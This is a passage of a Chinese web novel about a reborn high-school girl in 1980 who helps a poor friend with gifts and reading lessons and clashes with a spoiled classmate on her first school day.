不过得了张寡妇这样的承诺,这件事就算了结了。毕竟对方的行为属于未遂,哪怕报了警,大约也就是关几天的事。 所以苏丽珍从来没有真的打算报警,她要的就是让这对一再利用大伙儿同情心、不思悔改的母子俩成为众矢之的,让这一片所有人都来时时刻刻监督他们,也好叫他们尝尝这整天当过街老鼠的滋味。 尽管打了个胜仗,可是因为之前同为“糟心子女”的联想,苏丽珍的脸色还是有点臭臭的。 以至于那些羡慕他们家可以拿到三十块钱赔偿的人,都误会她是在为没能把人送去派出所而生气。 而大伙儿借着这回苏家的事,还意外得到了一笔还款,心里本来有些窃喜,但是一看苏家人这反应,他们反而不好意思再提这茬了。 等一群人各自回家,李翠英一看父女俩都没什么事,顿时松了一口气,她一点也不稀罕张家那三十块钱,只要她男人和闺女好好的,就比啥都强。 这一宿无话,等第二天早上起来,因为昨晚折腾了半宿,加上昨天他们家进贼,街坊邻居有不少过来帮忙的,虽然这些人大多是出于自家的利益,可这种事本来就是帮你算情分,不帮是本分,所以他们家多少也要表示一下。 何况昨天从张家拿到那三十块钱,不少人都看在眼里了。 一家人一商量,干脆苏卫华夫妻俩今天就不出摊了,在家蒸上几屉包子,再卤一大锅花生毛豆,到时候挨家给昨天来帮忙的邻居们各送一盘。 苏家这一手自然又获得了大家的一致好评。 而且有意思的是,在他们送包子的时候发现不少人家都在悄悄往自家墙头插碎玻璃片,靠近院墙的地方也撒了一层锅底灰。 苏丽珍相信只要大伙儿一天能看到这些东西,他们就一天都忘不了张福全的所作所为,这人以后在大家的印象里恐怕很难翻身了。 送完东西回来,一家人在屋里凳子还没坐热呢,胡同里几户相熟的人家又像约好了似的一起登门,进屋第一句就是告诉他们张寡妇把儿子送走了。 说是娘儿俩收拾了好大一个包袱,张寡妇在前头抹着泪,张福全在后头阴着个脸,母子俩在胡同里看见了街坊四邻,连头都不敢抬…… 众人唏嘘不已,等人走后,连李翠英都感慨了一句“儿女就是前世的债”,可是之后看着苏丽珍的眼神却分外骄傲和满足! 苏丽珍:“……” 虽然还是很高兴,可一想到上辈子的自己就莫名心虚怎么办? 上午十点半,苏丽珍在自己的小屋里整理开学要用的东西,明天就是九月一号了,想想这时间过得还真快。 忽然,就听隔壁毛大娘在大门口喊他们出来。 苏卫华夫妻俩本来在东屋拢账,闻声赶忙出去,就听毛大娘风风火火地招呼道:“苏家兄弟、大妹子,我在外头胡同口碰见这孩子,说是找摆摊的苏家,我一听就是你们家,就把人给你们领来了!”—— 作者有话说:晚安。 第38章 毛大娘说完就侧了侧身子,把身后大门口的位置让了出来。 苏丽珍一家一看清那道细瘦的身影,登时面上一喜! “小麦!” 来人正t是林小麦,她一看见苏家人,脸上也不由露出了大大的笑容,大声道:“叔、婶子,珍珍妹子,我可算找着你们了!” 一家人连忙向毛大娘道了谢,等毛大娘走后就赶紧招呼林小麦进屋。 “叔、婶儿,昨天你们说珍珍病了,今天我看你们又没出摊,我担心是不是她的病严重了,所以就过来看看!” 林小麦这会儿身上背了个大柳筐,手里还拎着个半大不小的篓子,也不知道走了多远的路,明明是这么凉快的天气,她却出了一头一脸的汗。 李翠英不由有些心疼,一边和苏丽珍一起帮她放下身上的东西,一边解释道:“好孩子,难为你这份心了!珍珍已经好多了,就是家里出了点糟心事,所以今天耽搁一天。” 家里遭贼的事,她怕吓着这孩子,干脆就没多说,只一句带过后就问起林小麦是怎么找过来的。 林小麦有些不好意思道:“之前听珍珍说起过你们家大概的位置,等到了这边的大路口,我就一路打听过来,没想到我运气好的很,才问了两个人就碰到了刚才那位大娘,是她直接把我领过来的!” 她边说、还边把柳筐里的东西往外倒腾:“对了,这是我今早从山上采得蘑菇……这是我这两天攒的榛子,我听说珍珍喜欢吃这个……哦,还有这个篓子,这里面都是我抓得泥鳅和小鲫鱼!” 看到这满筐满篓的山货,苏丽珍一家特别感动。 算一算,两家挨着一起摆摊也有两个多月了,苏家人只听林小麦说过她家在凤城西边相隔十五里路的一个大队上。 虽然对方从来没提过自家的情况,但是有眼睛会看的都知道,林小麦家里的条件不好。 要不然又怎么能放任她一个女孩子整天风吹日晒地进城摆摊呢? 可是林小麦自己不说,他们也不愿意刨根问底儿地打听,只是尽自己可能的多照顾对方,这里面固然有她跟苏丽珍交好的缘故,但最主要还是因为林小麦落落大方的性格,很难不叫人喜欢。 尤其是随着相处日久,一家人都能感觉到这个女孩子的真诚、直率,苏卫华夫妻俩更是越发打心眼里喜爱她。 就像眼前这些山货,也许对于现在的他们家来说不算什么值钱东西,可是他们知道林小麦要收集这些有多么不容易,尤其她大老远地把东西送来,为此还要牺牲掉自己摆摊的时间,所以就单单只是这份心意就已经十分难得了。 苏丽珍拉过林小麦的手,一脸认真道:“小麦,谢谢你,这些东西我都很喜欢吃,辛苦你了!” 苏卫华和李翠英也连连点头说好,夫妻俩一个张罗着倒水、找糖块,一个忙不迭去厨房端锅里留的卤花生和卤蛋,一个劲儿招呼林小麦来吃。 看到苏家人这样热情,林小麦心里也松了一口气,她知道苏家人的买卖好,挣得多,来的时候她还担心对方不肯收这些东西,或者劝她拿回去! 可是现在看他们的反应,她就知道自己多心了! 这也是她特别喜欢跟苏家人接触的原因,这一家人从来不会对她表露任何的同情、怜悯,他们帮助了她很多,也乐于接受她的回馈。很多时候她能感觉到,对方给予她的帮助是因为她本身做的足够好,而对方所展现的亲呢也只是单纯喜欢她这个人而已。 这是一种她在其他对她怀有善意的人身上体会不到的感觉,一种平等的、没有负担的、特别自在的感觉! 再具体了她形容不出来,反正她知道,现在她是打心眼里向往和留恋这种感受。 因为这份心理变化,林小麦在苏家人面前也越发自然,之前初来时的那一份忐忑早已烟消云散。 看林小麦走得满头大汗,苏丽珍就先带她到自己屋里简单擦洗一番。 李翠英帮忙打了盆水,苏丽珍找了块新毛巾,怕林小麦不好意思,她也没留在那儿,而是转身去东屋把那些零嘴端来。 她刻意在外头多等了会儿,直到听见屋里哗哗洗脸的声音停了,她才进屋。 结果一抬眼就发现林小麦并没有用她拿的新毛巾,而是直接撩起她身上那件肥大旧褂子的衣襟擦了擦脸。 她正想开口,却瞥见对方为了避免沾到水特意解开了褂子前襟,露出里头那件由一条条碎布拼成的衬衣,大概是换洗的次数多了,那衬衣上的碎布有的薄得透亮,有的起毛拉丝,好像随意拿手一按,就能捅出几个窟窿来! 苏丽珍只看了一眼,见林小麦正专心擦脸,没注意到自己的目光,便装作什么也没看见,把手里的卤味和糖块放桌上,一脸自然道:“你这一路肯定渴了,我去把水也端来!”说完,就转身出了屋。 听见林小麦在屋里喊她不用忙了,苏丽珍却叹了口气,心里不是滋味。 她站在原地略思索了一瞬,脚步一转,往后头厨房去了。 厨房里,她妈李翠英正忙着收拾林小麦带来的鱼,一见她来,就兴致勃勃道:“珍珍啊,中午小麦在这儿吃饭,我让你爸去国营饭店要两个肉菜,咱们自己在家把泥鳅炸了,小鲫鱼煎了!对了,反正用一回油,妈再炸点土豆块,做一道挂浆土豆,你看咋样?” 苏丽珍点头,“挺好的,妈你手艺好,小麦肯定爱吃!” 不过她来还有别的事,于是当即俯在她妈耳边小声嘀咕了一会儿。 李翠英听完,也不由长叹一声,“这孩子真是不容易……行,就照你说的办,等中午吃完饭,妈就张罗!” 而此时,林小麦洗完了脸,正有些局促地打量苏丽珍的这个房间。 这屋子收拾的十分干净立整,很符合珍珍妹子给人的印象;再一个,她发现这屋里的东西特别少,一搭眼就能看个七七八八,满打满算也就是桌子上的书比较多一点。 咋说呢,她记得当初看过他们大队书记老闺女的房间,里面摆放的都是些女孩子喜欢的东西,花花绿绿的,看着特别热闹。 倒是珍珍这间屋子,拾掇得不像个女孩子的房间,倒像是个上岁数的老人住的。 其实不光是这个房间,就连珍珍本人也时常给她一种很成熟的感觉,她们俩在一块的时候,她总是有种错觉,自己才是小的那个…… “小麦,洗好了吗?” 门上草珠帘子晃荡,苏丽珍的声音轻柔响起,林小麦回过神来,看见眼前笑意盈盈地一张脸,也跟着扬起笑容:“洗好了!谢谢珍珍妹子!” 苏丽珍把脸盆收走,然后就拉着对方到桌前坐下,一边给她倒水、一边招呼她吃零嘴。 林小麦就又问起苏丽珍的身体,等确定她真的是单纯没休息好,并没有啥大毛病,这才放了心。 两人说了会儿话,苏丽珍见她的目光时不时在自己那一摞书本上掠过,便问道:“小麦,我记得你是认字的对吧?” 林小麦先是点了点头,可很快又摇头,有些难为情道:“我那也不算啥识字,就是从前在我们大队办的学校里偷着听了几节课,零星认得几个。” 苏丽珍想了想找出自己念小学的课本,从一年级到六年级的语文书里逐一选出几篇课文,试着让林小麦认上面的字。 一番试验后,她推断林小麦的识字水平差不多能达到三年级的程度,其实已经相当不错了。 看她一直爱惜地抚摸着这些课本,一副舍不得放手的样子,苏丽珍心下立刻有了主意。 “小麦,我教你学这些课本怎么样?” 林小麦闻言抬头,那双大大的杏核眼里简直亮得惊人! 可很快,这份光亮又渐渐暗淡,她还是摇了摇头:“不用了,珍珍你明天就开学了,我听人家说高中的课都特别难念,你不能为了我浪费时间!” 苏丽珍却道:“怎么能是浪费时间呢!我可以借着教你的机会巩固一下自己以前学过的知识,这也是一件好事啊!” 林小麦一脸不信地看着她,虽然她见识少,更没正式念过书,可她怎么都不相信一个能考上高中的人需要通过教人小学三年级的课来巩固自己的知识。 苏丽珍轻咳了一声,最后干脆以自己想竞争高一的学委,而竞选学委需要经常辅导同学功课,自己教林小麦只是提前熟悉这个流程为由,总算说服了对方。 “我先给你把一、二年级的课程梳理一遍,咱们按照正式的学习方法重新打基础,然后同时学习三年级的课程!小麦你那么聪t明,到时候肯定进步飞快。” 林小麦心中感激,对苏丽珍的鼓励更是重重点了点头,她心里暗暗发誓,一定要好好学习,绝对不能辜负了珍珍这份心意。 两人索性就着手上的课本直接学习起来。 一个教的用心,一个学的认真,差点连时间都忘了,还是苏卫华笑呵呵地掀了门帘招呼她们吃饭,俩人才意犹未尽地停下。 而回过神的林小麦却有些不好意思,她没想在这儿吃午饭,实在是刚刚学习太认真了,才耽误到现在,这会儿也不能说走,只好厚着脸皮坐下来了。 这会儿,东屋老榆木的圆桌上正满满登登摆了一桌子好吃的 有苏卫华从国营饭店买回来的溜肉段和红烧肉,李翠英做的炸泥鳅、干煎小鲫鱼和挂浆土豆,最后一道菜是用卤汤炖的野蘑菇和粉条。 主食是西葫芦鸡蛋馅儿的馅饼和二米饭。 这一大桌子的好吃的,肉香,鱼香,蘑菇也香,每一道都那么好吃!林小麦甚至觉得,哪怕她的一生到此为止,但是只要吃过这样一顿饭,也不算可惜。 此外,苏卫华还特地到副食店买了几瓶时下特别流行的大白梨香槟饮料。 林小麦是第一次喝这种甜甜的、带着点梨子清香的饮料,一小口下去,眼睛都亮了。 看着不停往她碗里夹菜的苏卫华和李翠英,以及对面一直对她笑的苏丽珍,有好几次,她的眼角都是湿润的。 吃完了这一顿丰盛的大餐,苏丽珍拉着林小麦在胡同里走了几圈消食,顺便加强一下记忆,以免下次找错。 等她们溜达完回家的时候,刚一进院子就听见屋里李翠英像是跟谁生气一样,抱怨连连。 两个女孩子对视一眼,赶忙进了屋。 林小麦最热心,她担心李翠英跟苏卫华吵架,所以进屋就问:“婶子、叔,你们咋地了?” 李翠英看了她身后的苏丽珍一眼,故意皱着眉头道:“嗐,小麦啊,婶子这正跟自己生气呢!我恨自己这脑子不好使,东西都保管不好,你瞅瞅,这好好的料子都让虫子给咬了!” 说着,她就把手上一块布料抖开,摊到林小麦面前。 林小麦一看这是一块漂亮的水粉色布料,上面还印着白色的迎春花,原本看着特别水灵。只可惜,现在这水灵的料子中央多了几个绿豆大的虫眼,瞧着怪糟心的! “我原想着珍珍马上开学了,我就用这料子给她做件朝外穿的衫子,现在让虫子一咬,这衣服就做不成了,白瞎这么大一块料子了!” 林小麦听完也觉得可惜,不过还是尽量帮着出主意,“那婶子,你看这料子避开有虫眼的地方,能不能给珍珍做点啥别的东西?” 一旁早得了媳妇吩咐的苏卫华这时连忙帮腔:“哎呀,就是,小麦说的对啊!翠英,你就试试看做点别的嘛!” 李翠英故作为难地把手里的料子翻来覆去看了半天,才皱眉道:“那就只能把虫眼一个个补上,做两件里面穿的衬衣!” 林小麦也觉得这样更好,毕竟虫咬过的衣服不结实,做成外套,下水洗几次就不好了,倒不如做成贴身穿的,坏了补一下,反正外面也看不出来。 没想到这时苏丽珍不乐意了,她拧着眉头,使劲摇头:“我不要!妈,你知道我从小最怕虫子了!我一想到身上的衣服被那些小虫子爬过、咬过,我就难受得不行!你还要做成贴身穿的,我怎么受得了!” 李翠英赶忙道:“没事,妈到时候好好给你洗洗,保证洗得干干净净的!” 苏丽珍还是不愿意,到最后干脆自己坐在炕沿上拉着脸,生闷气! 一旁的林小麦简直看呆了,她从来没见过这样闹小孩子脾气的苏丽珍! 原来珍珍妹子也会这样啊,而且还怕小虫子,就,怪可爱的呢! 眼见苏丽珍就是不答应,李翠英也来了火气,声音越发大了几分,苏卫华只得在旁边来回劝,林小麦也跟着哄起了苏丽珍。 最后李翠英没了耐心,干脆气呼呼道:“要不这样,这件料子能做成两件衬衣,到时候我就做两件,小麦你和她一人一件!你俩关系好,她看你也穿,她就能接受了!反正我这回非得让她穿上不可!” 一旁的苏卫华一拍大腿:“我看行!就这么办!” 林小麦:“啊!” 这、这有哪里不对劲儿吧!—— 作者有话说:感谢在2022-06-2523:05:09~2022-06-2722:48:46期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:开心芝兰2瓶; 非常感谢大家对我的支持,我会继续努力的! 第39章 几个小时后,走在回家路上的林小麦还是觉得哪里不对劲儿! 可惜,她想了一路也没想明白。 看着渐渐西斜的日头,她下意识加快了脚步。 不过走得快了,身后背筐里的东西也不由跟着轻微晃了几下,发出细小的碰撞声。 与去时一样,从苏家回来后,她这背筐照样沉甸甸,里头装满了好东西。 林小麦不自觉在心里一样样数着:有珍珍妹子借给她的小学课本和习题册;有苏婶子给她带的好吃的,一饭盒的馅饼和炸鱼,一饭盒溜肉段和挂浆土豆,还用罐头瓶给她装了一瓶子的卤鸡蛋! 这么多好东西,她起先自然不肯收!可耐不住叔叔和婶子两人又哄又劝的,连珍珍妹子也在旁边笑眯眯帮腔,说这是他们这边的规矩,第一次到家里来做客的人回去不能空手。 她咋不知道东北哪嘎达有这说法呢! 这么连吃带拿的,谁家能受得了啊! 她明白这就是苏家人诚心要给她,她要是不收,他们肯定觉得她见外!不过她也不能白拿人家这些好吃的,等回去她一定多采些蘑菇和榛子,每天都给叔叔和婶子他们带一些来! 除了这些,在背筐最上面还有一件水粉色的衬衣,她和珍珍作伴,一人一件,珍珍说了,两个人都穿的话,她就不那么嫌乎这衣裳料子被虫咬过了! 连叔和婶子都说她拿这件衣服是帮了他们忙,要不然以珍珍妹子的脾气,这块料子以后怕要一直压在柜子底了! 可这话叫她更难为情了,明明是她占了天大的便宜,结果倒成了帮忙的! 婶子做衣裳的时候她就发现了,那料子虽说让虫咬了,但是还新得很,摸着也滑溜细密,再加上是这种难买的粉色,价钱肯定不便宜! 这么好的料子其实做一件夏天外穿的衬衫估计也没事,做成贴身的衬衣实在有点可惜了,尤其贴身的衬衣和衬衫也没差多少,与其裁成两件衬衣、还要额外搭一件给她,倒不如避开虫眼好好做一件衬衫了…… 这么想着的林小麦忽然一愣,慢慢停下脚步,她好像知道哪里不对劲了! 她赶忙解下身后的背筐,揭开上面盖着的草席,取出里面用挂历纸细心包好的衬衣。 她小心翼翼地拿起这件粉色衬衣,对着阳光仔细照了又照。 水灵灵的崭新面料,缝纫机车好的工整针脚,她到这会儿才确定,这绝对不会是在柜子里放久了、遭虫蛀的衣料! 她又赶紧去找先头苏家婶子特意补好的那几个虫眼。 当时她坚持只拿那件带虫眼的,而且她记得很清楚,虫眼的位置就在右边衣角,补好后也不算显眼! 可是这会儿,任凭她把这件衣裳翻来覆去找了半天,也没找到任何一个补丁! 怎么会没有了呢?难道是拿错了?可她明明看见珍珍特地找出几张背面雪白的挂历纸帮她包好衣裳,然后放进筐里的…… 倏然,她想起之前临从苏家出来时,她忙着推拒叔叔和婶子在厨房给她装的那些好吃的,好像不经意看见珍珍往她筐里放了什么,她当时还以为那是在放习题册…… 现在她已经全明白了,明明是新料子,却说是被虫咬过;应该是给她的带补丁衬衣也换成了完好的。 兴许她那时看到的“虫眼”都不一定是真的…… 她想起身上正穿的衬衣是东拼西凑用碎布条勉强做出来的,基本是坏了又坏,已经没法再补了,再看手里这件漂亮水灵的新衬衣…… 想着苏家人的这份用心,她慢慢泪流满面。 大姐、二姐,你们看到了,我遇到了很好很好的人……—— 九月一日,难得今天晴空万里。秋t高气爽,连带人的心情也好了几分。 今天是苏丽珍到高中报道的日子,本来苏卫华夫妻俩想陪她一起来,不过苏丽珍没答应,毕竟昨天已经耽误了一天,她这边也不算啥大事,没必要再耽搁。 而且按照上辈子的记忆,她今天就是分班、发教材,然后参加大扫除。因为占了全体学生三分之二的住宿生还要办理食堂和住宿手续,打扫寝室,所以今天一天都没课,像苏丽珍这样的走读生,基本上午打扫完教室,下午就不用过来了。 凤城市第一重点高中的教室是去年新盖的,四层的崭新教学楼在全市的初高中院校里都是数一数二的。 高一分班的红榜就张贴在教学楼前面的公告栏里。 苏丽珍不用去看也知道她被分到了二班,这次分班是随机排名,等高二开始分文理,就要根据成绩细分了。 她随意地往红榜前晃了一下,假装自己已经看过了,就转身往教学楼走去。 第一天在班级统一集合的时间是早八点,这会儿时间还算早,加上很多内宿生要办理各种手续,所以现在教学楼里的人不算多。 进了大门,苏丽珍认真打量着眼前的一切,从一楼最左边的收发室,到右边一整面黑板墙上的文明栏…… 许多她以为早已淹没在记忆深处的点点滴滴,随着周遭熟悉的景致慢慢复苏,汇聚,重组,让她逐渐记起了许多发生在这里的是是非非。 此刻,她突然有些庆幸那天提早遇见了那两个人,让她真正有勇气面对这里,有勇气重新站在她曾经跌倒的地方,不再逃避。 深吸一口气,她摸了摸衣兜里那枚别针,再一次告诉自己:苏丽珍,你不再是从前的自己,你的人生已经重新开始! 心境平复后,她没有再耽搁,抬脚准备往一楼左侧走廊走,高一二班就在那边。 只是她才走几步,忽听身后传来一道不确定的询问声:“苏丽珍?” 她转过身,看见来人不由愣了一下,想了一会儿才想起来这是她初中的同班同学卢向阳,俩人高一时也赶巧分到了一个班。后来高二重新分班后,卢向阳成绩比她好,自然分到了尖子班里。 虽然只有高中一年同班,但这人也算是她整个中学时代里唯二对她还算不错的同学。 只不过到底隔着上辈子的十年,苏丽珍乍一看见对方,一时竟有些想不起来。 卢向阳倒是对苏丽珍慢半拍的反应没在意,反而有些不好意思地挠了挠理得极短的平头,主动道:“你是不是也差点认不出来我了?这两个月假期,我哥托他以前的战友把我送到部队锻炼了两个月,晒得黢黑,回来后好多人都说我像换了个人!” 他这么一说,苏丽珍也想起来了,她隐隐记得卢向阳的父亲和哥哥都是警察,平时对他要求挺严格的。 上辈子卢向阳的确也因为参加假期军队训练,结果开学后整个人变得又黑又壮,不少认识他的同学都差点没认出来。 说起这个,就不得不说一下,两人在初中的时候就有过一个“双白”的称号。 苏丽珍长相不算特别漂亮,五官就是清秀级别,但是她有两项很惹人眼球的优点,其中之一就是皮肤极白,而且是那种很高级的冷白皮,像上好的瓷器,没有一点瑕疵,很得女生们羡慕。 初中的时候,班级里女生中皮肤最好的是她,男生里则是卢向阳。那会儿但凡班级有个什么运动会打旗之类的活儿,老师必定要挑他们俩一起担任,久而久之,就得了个“双白”的戏称。 卢向阳解释完了自己的变化,末了还忍不住自嘲了一句:“这会儿要是还在初中,就我现在这样,估计刘老师再也不会选我跟你一块打旗了,哈哈哈!” 刘老师是两人初中的班主任,对苏丽珍也不错。 在苏丽珍记忆里,卢向阳一直是个很正直、开朗的男生,加上上辈子他对自己表达的那些友好,所以本就打定主意改变自己从前那些糟糕性格的她,自然也很乐意跟对方接触。 所以她笑道:“其实我看着挺好的,才两个多月的时间,你就比之前结实了不少,好像还长高了一截,很厉害!” 得了夸奖的卢向阳下意识挺了挺胸脯,男生对于长个子这种事还是比较在意的,所以他听了苏丽珍的夸奖,心里特别美。 他“嘿嘿”傻笑了两声,想起什么又忙道:“苏丽珍,其实你的变化也挺大的!就刚刚,我在后面看见你,都没敢第一时间叫你,还是看到你也往这边走,我想起刚刚二班的红榜上也有你的名字,才敢确定是你!” 苏丽珍心中微动,从前的她自诩比别人都强,总是孤高自傲,一点不合群,如今她心境改变,也想努力克服自己那些缺点,可没想到还没来得及跟上辈子这些同学接触,对方却只是一个照面就发现了她的不同,果然够敏锐,不亏出身警察家庭。 于是,她也顺着对方的话点头道:“是啊,卢向阳,咱们这回又成为同学了……而且我这两个月也确实有了些改变,想想从前的自己实在有许多做错的地方,我也一直在反省自己,就是想改掉这些错误!” 她看着对方,态度格外认真:“卢向阳,既然咱们说到这了,如果从前我有什么做的不对的地方,我现在就向你道歉,也希望你能原谅过去那个不成熟的我!” 或许是没想到她会说出这样的话,也可能是她的表情太过郑重,卢向阳一时竟有些不好意思,他连连摆着手道:“不、不,苏丽珍,其实你不用这样,你没有什么对不起我的……不是,我的意思是说你不用向我道歉!大家都是老同学,哪有那么多说道!” 他就说他的直觉特别准,刚刚在公告栏前刚看到对方,他就觉得这人身上好像有啥变化,跟过去的感觉完全不同。 这么说吧,如果过去的苏丽珍像数九寒天里的一块冰刺,那现在的她就是三月春风下的绿柳,这对比就是这么强烈! 他心里好奇,也不知道对方过去这两个月都经历了啥,难不成也跟他一样被丢到部队里苦练去了? 想到部队里那些起早贪黑被/操/练的没脾气的日子,卢向阳看着苏丽珍的目光都亲切了几分,颇有几分“难兄难弟”的架势。 苏丽珍自然不知道对方这些想法,只是面对这个上辈子为数不多的、一直对她释放善意的人,她是真的乐于跟对方保持好这份友谊。 “卢向阳,接下来的三年,希望你多多关照,也希望我们能成为很好的朋友!” 被苏丽珍真诚的态度感染,卢向阳也重重点了点头,正想开口应和,倏地后面响起一道略尖锐的少女声音。 “都说好狗不挡道!你们要说话上哪儿不能说,能不能自觉点?非得站在这里碍事!” 第40章 这话说得实在难听,苏丽珍和卢向阳不由同时回过头。 只见一个身穿红黑色格子薄外套、头扎两条小辫子的小个子女生就站在两人身后,正叉着腰、一脸气鼓鼓地盯着他们! 女生见他们看过来,下巴一抬,越发骄纵道:“看什么看!我说的哪里不对!这走廊是让人家走路的,又不是给你们说话的,真没自觉性!” 苏丽珍和卢向阳不约而同皱起了眉,不说这会儿进班级的人本就不多,就说这么宽的走廊,他们俩这一路也基本是专门挨着走廊一侧墙壁走的,怎么就碍着别人路过了? 苏丽珍盯着对面女生头上那两枚醒目的大红色发卡,在80年,这种款式、这种颜色的发卡可不是便宜货,甚至整个北方除了首都,其他地方也很难买到,绝对算得上是高端货。 所以眼前这个人自然也不是一般人。 说起来,对于这个女生,她还真不陌生。这小姑娘叫谢芳芳,上辈子算得上是他们这一班、乃至这一届都挺出名的一个人。 虽然她只在他们班呆了一个学期,但是苏丽珍依然对她印象深刻,全因为这人跟前世的她也是犯一个毛病,那就是都长了一颗恋爱脑。 不过跟自视甚高、刻意装作家里条件好的她不同,谢芳芳是真正的家境优越。据说她父亲是市政的一个中层领导,伯伯、叔叔和舅舅们还在凤城市几个大厂子里担任要职,她几乎从小就在蜜罐子里长大。 这样的谢芳芳有骄纵的资本,所t以也时常干出些让人跌破眼球的事。 她初中是在市中心的三中念的,据她以前的同学说,初三时她突然就喜欢上了他们班一个转学生,只是这个转学生成绩不好,没考上重点高中,只上了一所普通学校。 想不到这位大小姐知道了,干脆吵着闹着要跟着一起去。 她家人自然不允,甚至当初分班的时候特意托人把她塞到了二班,全因他们二班的班主任李老师是全校有名的严格、负责。 可惜尽管李老师管得严,这位大小姐消停了几天又固态萌发,说是喜欢上了五班一个打球很好的男生,整天一有空就蹲在球场外面堵人,还偷偷给人家递情书。 要知道“早恋”本就是个特别敏感的话题,加上他们学校的升学率高,学习任务繁重,老师们对学生的要求也相对严格许多,所以自打出了谢芳芳这个异类后,在学校里反响很不好。光开学的第一个学期,谢芳芳就被请了两次家长。 再后来,不知道是不是“犯事”太多,反正高一的寒假后,再开学时,班主任李老师就轻猫淡写地提了一句谢芳芳转学了,有关这姑娘的后续就没人知道了。 不过虽然谢芳芳人走了,但是关于她那段轰轰烈烈的求爱经历还是震撼了很多人,被许多学生私下里偷偷谈论,当然都是些鄙视、嘲笑之类的负面看法。 上辈子也是因为有了这么个出头的“奇葩”,所以同样恋爱脑的她好歹绷住了最后那根弦,起码开始的三年里,没有对沈哲做出什么明目张胆的表示。 苏丽珍因为回想起这一段记忆,是以盯着谢芳芳的时间便长了一点。 谢芳芳见她一直盯着自己头上的两枚大红发卡,以为她羡慕自己,便越发得意地扬了扬下巴:“怎么,看我头上的发卡好看啊?算你还有点眼光,这可是我舅舅去海市出差特意给我带回来的!咱们这儿可没得买,所以你看也白看,土包子!” 对方三番五次恶语伤人,就算平时脾气不错的卢向阳也有些生气了,正准备开口跟对方理论理论,苏丽珍忽然伸手轻轻拦了他一下。 她朝着谢芳芳淡淡一笑,以远比对方温和的语气开口道:“这位小妹妹,这里是教学楼,学生家属严禁在这里喧哗吵闹的。你是找不到家长了吗?可以到外面教师办公室那边去找找看。” 说完这一句,她又十分自然地转头对卢向阳道:“算了,也不知道是哪家的小妹妹,咱们都是高中生了,何必跟一个小孩子计较!” 两句话直接把谢芳芳气得原地跳脚,本来她就十分介意自己的身高,见对方骂她是个不懂事的小孩子,拐着弯地嘲笑她长得矮,顿时火冒三丈! “喂,你个臭丫头,你说谁是小孩子!” 卢向阳“噗嗤”乐出了声,看见对方这张牙舞爪地样子,别说,还真像个熊孩子! 他清了清嗓子,有意配合苏丽珍,就一本正经道:“还真是哈!估计是今天开学,来办手续的家长太多了,跟这位小妹妹走丢了!我看不如咱们好人做到底,帮这位小妹妹去找找家长吧!” 苏丽珍煞有其事地点头:“对,这孩子看着不怎么会说话,咱们是得帮帮忙!” 眼见两人一唱一和埋汰自己,谢芳芳气得不行,声音都尖利了几分:“你们两个混蛋,明明是你们俩先挡着别人的路,现在又合起伙骂人!你们、你们简直不要脸!” 苏丽珍:“小妹妹,咱们讲道理,这么宽的走廊你还过不去吗?难道说你其实是一头大象?” 说着,她还故意上下打量了谢芳芳两眼,一脸怀疑道:“咦,不对啊,那我怎么没看见你鼻子上插大葱呢?” 周围立时一阵此起彼伏的笑声。 虽说这会儿教学楼里的人不多,但他们毕竟站在靠近大厅的位置,加上南面一溜六、七个的教室,谢芳芳之前的声音又特别大,这些教室里的许多学生都被吸引出来看热闹。 谢芳芳一开始还没反应过来,当场愤怒道:“你给我闭嘴,你们才是大象呢!” 见四周不断响起笑声,她这才反应过来对方话里的意思,气得嘴都瓢了,“你、你、你居然骂我是猪!” 听她直接说出来,周围的笑声更大了。谢芳芳看着那些在她目光扫过去就立马捂着嘴巴、或别过脸忍笑的人,眼圈都气红了。 “你们、你们太过分了!” 最后这人跺了跺脚,朝苏丽珍喊了这么一句,就直接跑向了二班教室。 苏丽珍有点惊讶,就这点战斗力,怎么也不像上辈子能把五班那几个打球的大个子吓得一看见她就灰溜溜跑的主啊! 人走了,卢向阳笑得直不起腰,“……苏丽珍,你这也太厉害了!哈哈哈,人家都说咱们过分了!” 苏丽珍两手一摊:“这我也没办法,我们亲戚家五岁的小弟弟也时常因为我不答应陪他一起和泥、扬沙子而指责我过分。” 卢向阳笑得更厉害了,冲她直竖大拇指,“苏丽珍,我今天才知道,你可太有意思了!” 经过这么一段小插曲,两人也无意耽搁,很快进了二班教室。 苏丽珍原以为,以那位小公主的脾气,在八点钟班主任李老师来之前,这位看见她们同班,指不定还要闹腾几下。可是出乎她意料,直到她和卢向阳进了班级许久也没看见这人。 苏丽珍目光一闪,想起之前对方气急跑走的样子,隐隐猜到了什么,不禁有些想笑。 果然,直到八点过后,李老师过来,已经拿起名单开始点名的时候,教室门忽然被人敲响,等李老师过去开门,门口站着的正是一脸忐忑的谢芳芳。 即便是平日再怎么胡闹,但是如谢芳芳这样的,对老师也总怀有一种天然的敬畏,尤其李老师还是位大高个、长相格外严肃的男老师。 苏丽珍坐在南面靠窗第三排的位置,正好看见这人再没了之前在走廊里的嚣张,反而缩着脖子像只小鹌鹑似的,可怜巴巴地解释道:“对、对不起,老师,我、我走错班级了!我刚刚一直在三班……” 听到这个解释,不少学生都忍不住笑出声来。 连李老师也挑了挑眉,“我以为二、三不分的情况应该是在幼儿园才会出现,说小学都有点不合适了。” 班级里哄笑的声音更大了,谢芳芳的脸直接红成了一颗西红柿。 好在开学第一天,李老师也没怎么为难她。 见她个子小,讲台下面第一排又刚好有个空位,就让她直接坐了过去。 人到齐了,李老师开始重新点名,等点到苏丽珍的时候,原本在前面低头缩脖的谢芳芳一下转过头,一眼认出苏丽珍,原来的小可怜模样一下换成了凶巴巴的样子,像只张牙舞爪的小猫。 苏丽珍忍不住直接笑了下。 看见苏丽珍还朝自己笑,谢芳芳更生气了,恶狠狠地瞪了她两眼才转过头去。 点完名,李老师又让大伙儿轮流做自我介绍。之后简单说明了一下校规校训,又着重强调了些高中学习生活应该注意的地方,鼓励大家好好学习,争取考上理想的大学。 就跟苏丽珍记忆里一样,李老师永远都是话不多、但心里特别有数。 说起来她上辈子高一的时候是李老师带班,后来高二分班,李老师一直带文科班,而她为了跟沈哲拉近距离,脑抽地选了自己十分不擅长的理科,导致成绩始终上不去。 再后来她连续复读两年,在最后一年复读的时候,还碰到过李老师,尽管当时自己已经不是他的学生,可是李老师还是把她叫到自己的办公室里,劝她收收心,把心思都放在学习上,不要一再辜负自己的青春…… 正当苏丽珍出神之际,忽听前头一声带着点尖利的熟悉嗓音:“老师,我也要报名当代班长!” 苏丽珍回过神,第一眼对上的就是那位连举手报名当班长都要抽空回头瞪她一眼的谢芳芳。 